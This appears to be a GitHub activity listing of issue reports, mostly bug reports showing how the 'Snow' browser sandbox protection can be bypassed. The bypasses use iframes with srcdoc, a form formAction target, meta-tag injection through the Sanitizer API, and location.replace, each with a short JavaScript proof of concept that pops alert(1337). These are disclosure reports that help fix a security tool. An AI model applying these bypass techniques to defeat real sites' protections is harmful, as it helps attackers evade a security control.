Gareth Heyes

The Java encoder was corrupting the decoded string with unicode replacement characters. We fixed this by changing the charset in Bytes.java to ISO-8859-1. https://github.com/dominikhlbg/BrotliHaxe/blob/master/java/src/haxe/io/Bytes.java#L54 Line 54 (BrotliHaxe/java/src/haxe/io/Bytes.js): ```java return new...

Problems with the Hackvertor editor

1

Problems with the Hackvertor editor: 1. Editor font is different than font used in the repeater 2. Context menu does not work 3. Hotkeys (such as url-decode) do not work...

When using the puppeteer option headless=chrome (This is needed to be able to run extensions headlessly) puppeteer cluster fails to launch the browser process. This happens when the browser needs...

Snow can be bypassed with iframes and srcdoc

1

Reproduce by running ```javascript let i = document.createElement('iframe'); i.srcdoc=""; document.body.append(i) setTimeout(x=>i.contentWindow[0].alert(1337),500) ```

Snow can be bypassed with forms and buttons formAction

1

```javascript setInterval(x=>xyz.alert(1337),0); i=document.createElement('iframe'); i.name='xyz'; f=document.createElement('form'); b=document.createElement('button'); b.formTarget='xyz'; b.formAction='1'; f.append(b); document.body.append(f); document.body.append(i); b. click() ```

Snow can be bypassed with meta and the HTML sanitizer

1

This is similar #142 but I use the Sanitizer API to inject the meta tag ```JavaScript i=document.createElement('iframe'); i.src=123; i.name='xyz'; counter=0; i.onload=x=>{ i.contentDocument.body.setHTML('', {sanitizer:new Sanitizer({allowElements: [ "meta" ],allowAttributes:{"http-equiv":["meta"],"content":["meta"]}})}); counter++; if(counter>1){ i.onload=null;...

Snow can be bypassed with location.replace

3

```javascript setInterval(x=>xyz.alert(1337)) i=document.createElement('iframe'); i.src='about:blank'; i.name='xyz'; document.body.append(i); setTimeout(x=>i.contentDocument.location.replace(123)); ```